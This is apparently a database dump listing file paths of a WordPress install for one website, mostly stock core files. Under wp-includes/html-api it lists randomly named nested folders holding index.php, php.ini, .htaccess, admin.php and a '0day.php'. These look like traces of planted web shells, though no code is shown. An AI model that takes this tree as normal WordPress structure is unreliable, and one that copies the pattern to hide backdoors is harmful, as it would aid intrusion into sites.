(4048,'/home/trevorkl/trevorklee.com/wp-includes/html-api/class-wp-html-text-replacement.php','wp-includes/html-api/class-wp-html-text-replacement.php'),
(4049,'/home/trevorkl/trevorklee.com/wp-includes/html-api/class-wp-html-token.php','wp-includes/html-api/class-wp-html-token.php'),
(4050,'/home/trevorkl/trevorklee.com/wp-includes/html-api/class-wp-html-unsupported-exception.php','wp-includes/html-api/class-wp-html-unsupported-exception.php'),
(4051,'/home/trevorkl/trevorklee.com/wp-includes/html-api/gcqoh1b/ecjxzqp/.htaccess','wp-includes/html-api/gcqoh1b/ecjxzqp/.htaccess'),
(4052,'/home/trevorkl/trevorklee.com/wp-includes/html-api/gcqoh1b/ecjxzqp/index.html','wp-includes/html-api/gcqoh1b/ecjxzqp/index.html'),
(4053,'/home/trevorkl/trevorklee.com/wp-includes/html-api/gcqoh1b/ecjxzqp/nmorylh/index.php','wp-includes/html-api/gcqoh1b/ecjxzqp/nmorylh/index.php'),
(4054,'/home/trevorkl/trevorklee.com/wp-includes/html-api/gcqoh1b/ecjxzqp/nmorylh/php.ini','wp-includes/html-api/gcqoh1b/ecjxzqp/nmorylh/php.ini'),
(4055,'/home/trevorkl/trevorklee.com/wp-includes/html-api/gcqoh1b/index.html','wp-includes/html-api/gcqoh1b/index.html'),
(4056,'/home/trevorkl/trevorklee.com/wp-includes/html-api/html5-named-character-references.php','wp-includes/html-api/html5-named-character-references.php'),
(4057,'/home/trevorkl/trevorklee.com/wp-includes/html-api/knojvbd/.htaccess','wp-includes/html-api/knojvbd/.htaccess'),
(4058,'/home/trevorkl/trevorklee.com/wp-includes/html-api/knojvbd/index.html','wp-includes/html-api/knojvbd/index.html'),
(4059,'/home/trevorkl/trevorklee.com/wp-includes/html-api/knojvbd/lyuifac/.htaccess','wp-includes/html-api/knojvbd/lyuifac/.htaccess'),
(4060,'/home/trevorkl/trevorklee.com/wp-includes/html-api/knojvbd/lyuifac/csdhol1/.828e0013b8.meta','wp-includes/html-api/knojvbd/lyuifac/csdhol1/.828e0013b8.meta'),
(4061,'/home/trevorkl/trevorklee.com/wp-includes/html-api/knojvbd/lyuifac/csdhol1/.htaccess','wp-includes/html-api/knojvbd/lyuifac/csdhol1/.htaccess'),
(4062,'/home/trevorkl/trevorklee.com/wp-includes/html-api/knojvbd/lyuifac/csdhol1/admin.php','wp-includes/html-api/knojvbd/lyuifac/csdhol1/admin.php'),
(4063,'/home/trevorkl/trevorklee.com/wp-includes/html-api/knojvbd/lyuifac/csdhol1/error_log','wp-includes/html-api/knojvbd/lyuifac/csdhol1/error_log'),
(4064,'/home/trevorkl/trevorklee.com/wp-includes/html-api/knojvbd/lyuifac/csdhol1/index.php','wp-includes/html-api/knojvbd/lyuifac/csdhol1/index.php'),
(4065,'/home/trevorkl/trevorklee.com/wp-includes/html-api/knojvbd/lyuifac/csdhol1/php.ini','wp-includes/html-api/knojvbd/lyuifac/csdhol1/php.ini'),
(4066,'/home/trevorkl/trevorklee.com/wp-includes/html-api/knojvbd/lyuifac/index.html','wp-includes/html-api/knojvbd/lyuifac/index.html'),
(4067,'/home/trevorkl/trevorklee.com/wp-includes/html-api/lpyi1nu/index.html','wp-includes/html-api/lpyi1nu/index.html'),
(4068,'/home/trevorkl/trevorklee.com/wp-includes/html-api/lpyi1nu/qounslr/.htaccess','wp-includes/html-api/lpyi1nu/qounslr/.htaccess'),
(4069,'/home/trevorkl/trevorklee.com/wp-includes/html-api/lpyi1nu/qounslr/index.html','wp-includes/html-api/lpyi1nu/qounslr/index.html'),
(4070,'/home/trevorkl/trevorklee.com/wp-includes/html-api/lpyi1nu/qounslr/thbgjzr/index.php','wp-includes/html-api/lpyi1nu/qounslr/thbgjzr/index.php'),
(4071,'/home/trevorkl/trevorklee.com/wp-includes/html-api/lpyi1nu/qounslr/thbgjzr/php.ini','wp-includes/html-api/lpyi1nu/qounslr/thbgjzr/php.ini'),
(4072,'/home/trevorkl/trevorklee.com/wp-includes/html-api/rcfospm/yrfsgvq/.htaccess','wp-includes/html-api/rcfospm/yrfsgvq/.htaccess'),
(4073,'/home/trevorkl/trevorklee.com/wp-includes/html-api/rcfospm/yrfsgvq/index.html','wp-includes/html-api/rcfospm/yrfsgvq/index.html'),
(4074,'/home/trevorkl/trevorklee.com/wp-includes/html-api/rcfospm/yrfsgvq/lag1xoi/index.php','wp-includes/html-api/rcfospm/yrfsgvq/lag1xoi/index.php'),
(4075,'/home/trevorkl/trevorklee.com/wp-includes/html-api/rcfospm/yrfsgvq/lag1xoi/php.ini','wp-includes/html-api/rcfospm/yrfsgvq/lag1xoi/php.ini'),
(4076,'/home/trevorkl/trevorklee.com/wp-includes/html-api/smzgnbc/.htaccess','wp-includes/html-api/smzgnbc/.htaccess'),
(4077,'/home/trevorkl/trevorklee.com/wp-includes/html-api/smzgnbc/index.html','wp-includes/html-api/smzgnbc/index.html'),
(4078,'/home/trevorkl/trevorklee.com/wp-includes/html-api/smzgnbc/vxswmkl/.htaccess','wp-includes/html-api/smzgnbc/vxswmkl/.htaccess'),
(4079,'/home/trevorkl/trevorklee.com/wp-includes/html-api/smzgnbc/vxswmkl/biodtqz/.htaccess','wp-includes/html-api/smzgnbc/vxswmkl/biodtqz/.htaccess'),
(4080,'/home/trevorkl/trevorklee.com/wp-includes/html-api/smzgnbc/vxswmkl/biodtqz/0day.php','wp-includes/html-api/smzgnbc/vxswmkl/biodtqz/0day.php'),
(4081,'/home/trevorkl/trevorklee.com/wp-includes/html-api/smzgnbc/vxswmkl/biodtqz/index.php','wp-includes/html-api/smzgnbc/vxswmkl/biodtqz/index.php'),
(4082,'/home/trevorkl/trevorklee.com/wp-includes/html-api/smzgnbc/vxswmkl/biodtqz/php.ini','wp-includes/html-api/smzgnbc/vxswmkl/biodtqz/php.ini'),
(4083,'/home/trevorkl/trevorklee.com/wp-includes/html-api/smzgnbc/vxswmkl/index.html','wp-includes/html-api/smzgnbc/vxswmkl/index.html'),
(4084,'/home/trevorkl/trevorklee.com/wp-includes/html-api/smzgnbc/vxswmkl/index.php','wp-includes/html-api/smzgnbc/vxswmkl/index.php'),
(4085,'/home/trevorkl/trevorklee.com/wp-includes/html-api/xegynso/gqy1pns/.htaccess','wp-includes/html-api/xegynso/gqy1pns/.htaccess'),
(4086,'/home/trevorkl/trevorklee.com/wp-includes/html-api/xegynso/gqy1pns/index.html','wp-includes/html-api/xegynso/gqy1pns/index.html'),
(4087,'/home/trevorkl/trevorklee.com/wp-includes/html-api/xegynso/gqy1pns/xpjdifr/index.php','wp-includes/html-api/xegynso/gqy1pns/xpjdifr/index.php'),
(4088,'/home/trevorkl/trevorklee.com/wp-includes/html-api/xegynso/gqy1pns/xpjdifr/php.ini','wp-includes/html-api/xegynso/gqy1pns/xpjdifr/php.ini'),
(4089,'/home/trevorkl/trevorklee.com/wp-includes/http.php','wp-includes/http.php'),
(4090,'/home/trevorkl/trevorklee.com/wp-includes/https-detection.php','wp-includes/https-detection.php'),
(4091,'/home/trevorkl/trevorklee.com/wp-includes/https-migration.php','wp-includes/https-migration.php'),
(4092,'/home/trevorkl/trevorklee.com/wp-includes/images/.htaccess','wp-includes/images/.htaccess'),
(4093,'/home/trevorkl/trevorklee.com/wp-includes/images/admin-bar-sprite-2x.png','wp-includes/images/admin-bar-sprite-2x.png'),
(4094,'/home/trevorkl/trevorklee.com/wp-includes/images/admin-bar-sprite.png','wp-includes/images/admin-bar-sprite.png'),
(4095,'/home/trevorkl/trevorklee.com/wp-includes/images/arrow-pointer-blue-2x.png','wp-includes/images/arrow-pointer-blue-2x.png'),
(4096,'/home/trevorkl/trevorklee.com/wp-includes/images/arrow-pointer-blue.png','wp-includes/images/arrow-pointer-blue.png'),
(4097,'/home/trevorkl/trevorklee.com/wp-includes/images/blank.gif','wp-includes/images/blank.gif'),
(4098,'/home/trevorkl/trevorklee.com/wp-includes/images/crystal/.htaccess','wp-includes/images/crystal/.htaccess'),
(4099,'/home/trevorkl/trevorklee.com/wp-includes/images/crystal/archive.png','wp-includes/images/crystal/archive.png'),
(4100,'/home/trevorkl/trevorklee.com/wp-includes/images/crystal/audio.png','wp-includes/images/crystal/audio.png'),
(4101,'/home/trevorkl/trevorklee.com/wp-includes/images/crystal/code.png','wp-includes/images/crystal/code.png'),
(4102,'/home/trevorkl/trevorklee.com/wp-includes/images/crystal/default.png','wp-includes/images/crystal/default.png'),
(4103,'/home/trevorkl/trevorklee.com/wp-includes/images/crystal/document.png','wp-includes/images/crystal/document.png'),
(4104,'/home/trevorkl/trevorklee.com/wp-includes/images/crystal/interactive.png','wp-includes/images/crystal/interactive.png'),
(4105,'/home/trevorkl/trevorklee.com/wp-includes/images/crystal/license.txt','wp-includes/images/crystal/license.txt'),
(4106,'/home/trevorkl/trevorklee.com/wp-includes/images/crystal/spreadsheet.png','wp-includes/images/crystal/spreadsheet.png'),
(4107,'/home/trevorkl/trevorklee.com/wp-includes/images/crystal/text.png','wp-includes/images/crystal/text.png'),
(4108,'/home/trevorkl/trevorklee.com/wp-includes/images/crystal/video.png','wp-includes/images/crystal/video.png'),
(4109,'/home/trevorkl/trevorklee.com/wp-includes/images/down_arrow-2x.gif','wp-includes/images/down_arrow-2x.gif'),
(4110,'/home/trevorkl/trevorklee.com/wp-includes/images/down_arrow.gif','wp-includes/images/down_arrow.gif'),
(4111,'/home/trevorkl/trevorklee.com/wp-includes/images/icon-pointer-flag-2x.png','wp-includes/images/icon-pointer-flag-2x.png'),
(4112,'/home/trevorkl/trevorklee.com/wp-includes/images/icon-pointer-flag.png','wp-includes/images/icon-pointer-flag.png'),
(4113,'/home/trevorkl/trevorklee.com/wp-includes/images/media/.htaccess','wp-includes/images/media/.htaccess'),
(4114,'/home/trevorkl/trevorklee.com/wp-includes/images/media/archive.png','wp-includes/images/media/archive.png'),
(4115,'/home/trevorkl/trevorklee.com/wp-includes/images/media/archive.svg','wp-includes/images/media/archive.svg'),
(4116,'/home/trevorkl/trevorklee.com/wp-includes/images/media/audio.png','wp-includes/images/media/audio.png'),
(4117,'/home/trevorkl/trevorklee.com/wp-includes/images/media/audio.svg','wp-includes/images/media/audio.svg'),
(4118,'/home/trevorkl/trevorklee.com/wp-includes/images/media/bfadedbecbebc.png','wp-includes/images/media/bfadedbecbebc.png'),
(4119,'/home/trevorkl/trevorklee.com/wp-includes/images/media/code.png','wp-includes/images/media/code.png'),
(4120,'/home/trevorkl/trevorklee.com/wp-includes/images/media/code.svg','wp-includes/images/media/code.svg'),
(4121,'/home/trevorkl/trevorklee.com/wp-includes/images/media/default.png','wp-includes/images/media/default.png'),
(4122,'/home/trevorkl/trevorklee.com/wp-includes/images/media/default.svg','wp-includes/images/media/default.svg'),
(4123,'/home/trevorkl/trevorklee.com/wp-includes/images/media/document.png','wp-includes/images/media/document.png'),
(4124,'/home/trevorkl/trevorklee.com/wp-includes/images/media/document.svg','wp-includes/images/media/document.svg'),
(4125,'/home/trevorkl/trevorklee.com/wp-includes/images/media/interactive.png','wp-includes/images/media/interactive.png'),
(4126,'/home/trevorkl/trevorklee.com/wp-includes/images/media/interactive.svg','wp-includes/images/media/interactive.svg'),
(4127,'/home/trevorkl/trevorklee.com/wp-includes/images/media/spreadsheet.png','wp-includes/images/media/spreadsheet.png'),
(4128,'/home/trevorkl/trevorklee.com/wp-includes/images/media/spreadsheet.svg','wp-includes/images/media/spreadsheet.svg'),
(4129,'/home/trevorkl/trevorklee.com/wp-includes/images/media/text.png','wp-includes/images/media/text.png'),
(4130,'/home/trevorkl/trevorklee.com/wp-includes/images/media/text.svg','wp-includes/images/media/text.svg'),
(4131,'/home/trevorkl/trevorklee.com/wp-includes/images/media/video.png','wp-includes/images/media/video.png'),
(4132,'/home/trevorkl/trevorklee.com/wp-includes/images/media/video.svg','wp-includes/images/media/video.svg'),
(4133,'/home/trevorkl/trevorklee.com/wp-includes/images/rss-2x.png','wp-includes/images/rss-2x.png'),
(4134,'/home/trevorkl/trevorklee.com/wp-includes/images/rss.png','wp-includes/images/rss.png'),
(4135,'/home/trevorkl/trevorklee.com/wp-includes/images/smilies/.htaccess','wp-includes/images/smilies/.htaccess'),
(4136,'/home/trevorkl/trevorklee.com/wp-includes/images/smilies/frownie.png','wp-includes/images/smilies/frownie.png'),
(4137,'/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_arrow.gif','wp-includes/images/smilies/icon_arrow.gif'),
(4138,'/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_biggrin.gif','wp-includes/images/smilies/icon_biggrin.gif'),
(4139,'/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_confused.gif','wp-includes/images/smilies/icon_confused.gif'),
(4140,'/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_cool.gif','wp-includes/images/smilies/icon_cool.gif'),
(4141,'/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_cry.gif','wp-includes/images/smilies/icon_cry.gif'),
(4142,'/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_eek.gif','wp-includes/images/smilies/icon_eek.gif'),
(4143,'/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_evil.gif','wp-includes/images/smilies/icon_evil.gif'),
(4144,'/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_exclaim.gif','wp-includes/images/smilies/icon_exclaim.gif'),
(4145,'/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_idea.gif','wp-includes/images/smilies/icon_idea.gif'),
(4146,'/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_lol.gif','wp-includes/images/smilies/icon_lol.gif'),
(4147,'/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_mad.gif','wp-includes/images/smilies/icon_mad.gif'),
(4148,'/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_mrgreen.gif','wp-includes/images/smilies/icon_mrgreen.gif'),
(4149,'/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_neutral.gif','wp-includes/images/smilies/icon_neutral.gif'),
(4150,'/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_question.gif','wp-includes/images/smilies/icon_question.gif'),
(4151,'/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_razz.gif','wp-includes/images/smilies/icon_razz.gif'),
(4152,'/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_redface.gif','wp-includes/images/smilies/icon_redface.gif'),
(4153,'/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_rolleyes.gif','wp-includes/images/smilies/icon_rolleyes.gif'),
(4154,'/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_sad.gif','wp-includes/images/smilies/icon_sad.gif'),
(4155,'/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_smile.gif','wp-includes/images/smilies/icon_smile.gif'),
(4156,'/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_surprised.gif','wp-includes/images/smilies/icon_surprised.gif'),
(4157,'/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_twisted.gif','wp-includes/images/smilies/icon_twisted.gif'),
(4158,'/home/trevorkl/trevorklee.com/wp-includes/images/smilies/icon_wink.gif','wp-includes/images/smilies/icon_wink.gif'),
(4159,'/home/trevorkl/trevorklee.com/wp-includes/images/smilies/mrgreen.png','wp-includes/images/smilies/mrgreen.png'),
(4160,'/home/trevorkl/trevorklee.com/wp-includes/images/smilies/rolleyes.png','wp-includes/images/smilies/rolleyes.png'),
(4161,'/home/trevorkl/trevorklee.com/wp-includes/images/smilies/simple-smile.png','wp-includes/images/smilies/simple-smile.png'),
(4162,'/home/trevorkl/trevorklee.com/wp-includes/images/spinner-2x.gif','wp-includes/images/spinner-2x.gif'),
(4163,'/home/trevorkl/trevorklee.com/wp-includes/images/spinner.gif','wp-includes/images/spinner.gif'),
(4164,'/home/trevorkl/trevorklee.com/wp-includes/images/toggle-arrow-2x.png','wp-includes/images/toggle-arrow-2x.png'),
(4165,'/home/trevorkl/trevorklee.com/wp-includes/images/toggle-arrow.png','wp-includes/images/toggle-arrow.png'),
(4166,'/home/trevorkl/trevorklee.com/wp-includes/images/uploader-icons-2x.png','wp-includes/images/uploader-icons-2x.png'),
(4167,'/home/trevorkl/trevorklee.com/wp-includes/images/uploader-icons.png','wp-includes/images/uploader-icons.png'),
(4168,'/home/trevorkl/trevorklee.com/wp-includes/images/w-bfadedbecbebc.gif','wp-includes/images/w-bfadedbecbebc.gif'),
(4169,'/home/trevorkl/trevorklee.com/wp-includes/images/w-logo-blue-white-bg.png','wp-includes/images/w-logo-blue-white-bg.png'),
(4170,'/home/trevorkl/trevorklee.com/wp-includes/images/w-logo-blue.png','wp-includes/images/w-logo-blue.png'),
(4171,'/home/trevorkl/trevorklee.com/wp-includes/images/wpicons-2x.png','wp-includes/images/wpicons-2x.png'),
(4172,'/home/trevorkl/trevorklee.com/wp-includes/images/wpicons.png','wp-includes/images/wpicons.png'),
(4173,'/home/trevorkl/trevorklee.com/wp-includes/images/wpspin-1x.gif','wp-includes/images/wpspin-1x.gif'),
(4174,'/home/trevorkl/trevorklee.com/wp-includes/images/wpspin-2x.gif','wp-includes/images/wpspin-2x.gif'),
(4175,'/home/trevorkl/trevorklee.com/wp-includes/images/wpspin.gif','wp-includes/images/wpspin.gif'),
(4176,'/home/trevorkl/trevorklee.com/wp-includes/images/xit-2x.gif','wp-includes/images/xit-2x.gif'),
(4177,'/home/trevorkl/trevorklee.com/wp-includes/images/xit-3x.gif','wp-includes/images/xit-3x.gif'),
(4178,'/home/trevorkl/trevorklee.com/wp-includes/images/xit.gif','wp-includes/images/xit.gif'),
(4179,'/home/trevorkl/trevorklee.com/wp-includes/interactivity-api/.htaccess','wp-includes/interactivity-api/.htaccess'),
(4180,'/home/trevorkl/trevorklee.com/wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor.php','wp-includes/interactivity-api/class-wp-interactivity-api-directives-processor.php'),
(4181,'/home/trevorkl/trevorklee.com/wp-includes/interactivity-api/class-wp-interactivity-api.php','wp-includes/interactivity-api/class-wp-interactivity-api.php'),
(4182,'/home/trevorkl/trevorklee.com/wp-includes/interactivity-api/interactivity-api.php','wp-includes/interactivity-api/interactivity-api.php'),
(4183,'/home/trevorkl/trevorklee.com/wp-includes/js/.htaccess','wp-includes/js/.htaccess'),
(4184,'/home/trevorkl/trevorklee.com/wp-includes/js/admin-bar.js','wp-includes/js/admin-bar.js'),
(4185,'/home/trevorkl/trevorklee.com/wp-includes/js/admin-bar.min.js','wp-includes/js/admin-bar.min.js'),
(4186,'/home/trevorkl/trevorklee.com/wp-includes/js/api-request.js','wp-includes/js/api-request.js'),
(4187,'/home/trevorkl/trevorklee.com/wp-includes/js/api-request.min.js','wp-includes/js/api-request.min.js'),
(4188,'/home/trevorkl/trevorklee.com/wp-includes/js/autosave.js','wp-includes/js/autosave.js'),
(4189,'/home/trevorkl/trevorklee.com/wp-includes/js/autosave.min.js','wp-includes/js/autosave.min.js'),
(4190,'/home/trevorkl/trevorklee.com/wp-includes/js/backbone.js','wp-includes/js/backbone.js'),
(4191,'/home/trevorkl/trevorklee.com/wp-includes/js/backbone.min.js','wp-includes/js/backbone.min.js'),
(4192,'/home/trevorkl/trevorklee.com/wp-includes/js/clipboard.js','wp-includes/js/clipboard.js'),
(4193,'/home/trevorkl/trevorklee.com/wp-includes/js/clipboard.min.js','wp-includes/js/clipboard.min.js'),
(4194,'/home/trevorkl/trevorklee.com/wp-includes/js/codemirror/.htaccess','wp-includes/js/codemirror/.htaccess'),
(4195,'/home/trevorkl/trevorklee.com/wp-includes/js/codemirror/codemirror.min.css','wp-includes/js/codemirror/codemirror.min.css'),
(4196,'/home/trevorkl/trevorklee.com/wp-includes/js/codemirror/codemirror.min.js','wp-includes/js/codemirror/codemirror.min.js'),
(4197,'/home/trevorkl/trevorklee.com/wp-includes/js/codemirror/csslint.js','wp-includes/js/codemirror/csslint.js'),
(4198,'/home/trevorkl/trevorklee.com/wp-includes/js/codemirror/esprima.js','wp-includes/js/codemirror/esprima.js'),
(4199,'/home/trevorkl/trevorklee.com/wp-includes/js/codemirror/fakejshint.js','wp-includes/js/codemirror/fakejshint.js'),
(4200,'/home/trevorkl/trevorklee.com/wp-includes/js/codemirror/htmlhint-kses.js','wp-includes/js/codemirror/htmlhint-kses.js'),
(4201,'/home/trevorkl/trevorklee.com/wp-includes/js/codemirror/htmlhint.js','wp-includes/js/codemirror/htmlhint.js'),
(4202,'/home/trevorkl/trevorklee.com/wp-includes/js/codemirror/jsonlint.js','wp-includes/js/codemirror/jsonlint.js'),
(4203,'/home/trevorkl/trevorklee.com/wp-includes/js/colorpicker.js','wp-includes/js/colorpicker.js'),
(4204,'/home/trevorkl/trevorklee.com/wp-includes/js/colorpicker.min.js','wp-includes/js/colorpicker.min.js'),
(4205,'/home/trevorkl/trevorklee.com/wp-includes/js/comment-reply.js','wp-includes/js/comment-reply.js'),
(4206,'/home/trevorkl/trevorklee.com/wp-includes/js/comment-reply.min.js','wp-includes/js/comment-reply.min.js'),
(4207,'/home/trevorkl/trevorklee.com/wp-includes/js/crop/.htaccess','wp-includes/js/crop/.htaccess'),
(4208,'/home/trevorkl/trevorklee.com/wp-includes/js/crop/cropper.css','wp-includes/js/crop/cropper.css'),
(4209,'/home/trevorkl/trevorklee.com/wp-includes/js/crop/cropper.js','wp-includes/js/crop/cropper.js'),
(4210,'/home/trevorkl/trevorklee.com/wp-includes/js/crop/marqueeHoriz.gif','wp-includes/js/crop/marqueeHoriz.gif'),
(4211,'/home/trevorkl/trevorklee.com/wp-includes/js/crop/marqueeVert.gif','wp-includes/js/crop/marqueeVert.gif'),
(4212,'/home/trevorkl/trevorklee.com/wp-includes/js/customize-base.js','wp-includes/js/customize-base.js'),
(4213,'/home/trevorkl/trevorklee.com/wp-includes/js/customize-base.min.js','wp-includes/js/customize-base.min.js'),
(4214,'/home/trevorkl/trevorklee.com/wp-includes/js/customize-loader.js','wp-includes/js/customize-loader.js'),
(4215,'/home/trevorkl/trevorklee.com/wp-includes/js/customize-loader.min.js','wp-includes/js/customize-loader.min.js'),
(4216,'/home/trevorkl/trevorklee.com/wp-includes/js/customize-models.js','wp-includes/js/customize-models.js'),
(4217,'/home/trevorkl/trevorklee.com/wp-includes/js/customize-models.min.js','wp-includes/js/customize-models.min.js'),
(4218,'/home/trevorkl/trevorklee.com/wp-includes/js/customize-preview-nav-menus.js','wp-includes/js/customize-preview-nav-menus.js'),
(4219,'/home/trevorkl/trevorklee.com/wp-includes/js/customize-preview-nav-menus.min.js','wp-includes/js/customize-preview-nav-menus.min.js'),
(4220,'/home/trevorkl/trevorklee.com/wp-includes/js/customize-preview-widgets.js','wp-includes/js/customize-preview-widgets.js'),
(4221,'/home/trevorkl/trevorklee.com/wp-includes/js/customize-preview-widgets.min.js','wp-includes/js/customize-preview-widgets.min.js'),
(4222,'/home/trevorkl/trevorklee.com/wp-includes/js/customize-preview.js','wp-includes/js/customize-preview.js'),
(4223,'/home/trevorkl/trevorklee.com/wp-includes/js/customize-preview.min.js','wp-includes/js/customize-preview.min.js'),
(4224,'/home/trevorkl/trevorklee.com/wp-includes/js/customize-selective-refresh.js','wp-includes/js/customize-selective-refresh.js'),
(4225,'/home/trevorkl/trevorklee.com/wp-includes/js/customize-selective-refresh.min.js','wp-includes/js/customize-selective-refresh.min.js'),
(4226,'/home/trevorkl/trevorklee.com/wp-includes/js/customize-views.js','wp-includes/js/customize-views.js'),
(4227,'/home/trevorkl/trevorklee.com/wp-includes/js/customize-views.min.js','wp-includes/js/customize-views.min.js'),
(4228,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/.htaccess','wp-includes/js/dist/.htaccess'),
(4229,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/a11y.js','wp-includes/js/dist/a11y.js'),
(4230,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/a11y.min.js','wp-includes/js/dist/a11y.min.js'),
(4231,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/admin-ui.js','wp-includes/js/dist/admin-ui.js'),
(4232,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/admin-ui.min.js','wp-includes/js/dist/admin-ui.min.js'),
(4233,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/annotations.js','wp-includes/js/dist/annotations.js'),
(4234,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/annotations.min.js','wp-includes/js/dist/annotations.min.js'),
(4235,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/api-fetch.js','wp-includes/js/dist/api-fetch.js'),
(4236,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/api-fetch.min.js','wp-includes/js/dist/api-fetch.min.js'),
(4237,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/autop.js','wp-includes/js/dist/autop.js'),
(4238,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/autop.min.js','wp-includes/js/dist/autop.min.js'),
(4239,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/base-styles.js','wp-includes/js/dist/base-styles.js'),
(4240,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/base-styles.min.js','wp-includes/js/dist/base-styles.min.js'),
(4241,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/blob.js','wp-includes/js/dist/blob.js'),
(4242,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/blob.min.js','wp-includes/js/dist/blob.min.js'),
(4243,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/block-directory.js','wp-includes/js/dist/block-directory.js'),
(4244,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/block-directory.min.js','wp-includes/js/dist/block-directory.min.js'),
(4245,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/block-editor.js','wp-includes/js/dist/block-editor.js'),
(4246,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/block-editor.min.js','wp-includes/js/dist/block-editor.min.js'),
(4247,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/block-library.js','wp-includes/js/dist/block-library.js'),
(4248,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/block-library.min.js','wp-includes/js/dist/block-library.min.js'),
(4249,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/block-serialization-default-parser.js','wp-includes/js/dist/block-serialization-default-parser.js'),
(4250,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/block-serialization-default-parser.min.js','wp-includes/js/dist/block-serialization-default-parser.min.js'),
(4251,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/block-serialization-spec-parser.js','wp-includes/js/dist/block-serialization-spec-parser.js'),
(4252,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/blocks.js','wp-includes/js/dist/blocks.js'),
(4253,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/blocks.min.js','wp-includes/js/dist/blocks.min.js'),
(4254,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/commands.js','wp-includes/js/dist/commands.js'),
(4255,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/commands.min.js','wp-includes/js/dist/commands.min.js'),
(4256,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/components.js','wp-includes/js/dist/components.js'),
(4257,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/components.min.js','wp-includes/js/dist/components.min.js'),
(4258,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/compose.js','wp-includes/js/dist/compose.js'),
(4259,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/compose.min.js','wp-includes/js/dist/compose.min.js'),
(4260,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/core-commands.js','wp-includes/js/dist/core-commands.js'),
(4261,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/core-commands.min.js','wp-includes/js/dist/core-commands.min.js'),
(4262,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/core-data.js','wp-includes/js/dist/core-data.js'),
(4263,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/core-data.min.js','wp-includes/js/dist/core-data.min.js'),
(4264,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/customize-widgets.js','wp-includes/js/dist/customize-widgets.js'),
(4265,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/customize-widgets.min.js','wp-includes/js/dist/customize-widgets.min.js'),
(4266,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/data-controls.js','wp-includes/js/dist/data-controls.js'),
(4267,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/data-controls.min.js','wp-includes/js/dist/data-controls.min.js'),
(4268,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/data.js','wp-includes/js/dist/data.js'),
(4269,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/data.min.js','wp-includes/js/dist/data.min.js'),
(4270,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/date.js','wp-includes/js/dist/date.js'),
(4271,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/date.min.js','wp-includes/js/dist/date.min.js'),
(4272,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/deprecated.js','wp-includes/js/dist/deprecated.js'),
(4273,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/deprecated.min.js','wp-includes/js/dist/deprecated.min.js'),
(4274,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/development/.htaccess','wp-includes/js/dist/development/.htaccess'),
(4275,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/development/react-refresh-entry.js','wp-includes/js/dist/development/react-refresh-entry.js'),
(4276,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/development/react-refresh-entry.min.js','wp-includes/js/dist/development/react-refresh-entry.min.js'),
(4277,'/home/trevorkl/trevorklee.com/wp-includes/js/dist/development/react-refresh-runtime.js','wp-includes/js/dist/development/react-refresh-runtime.js'),
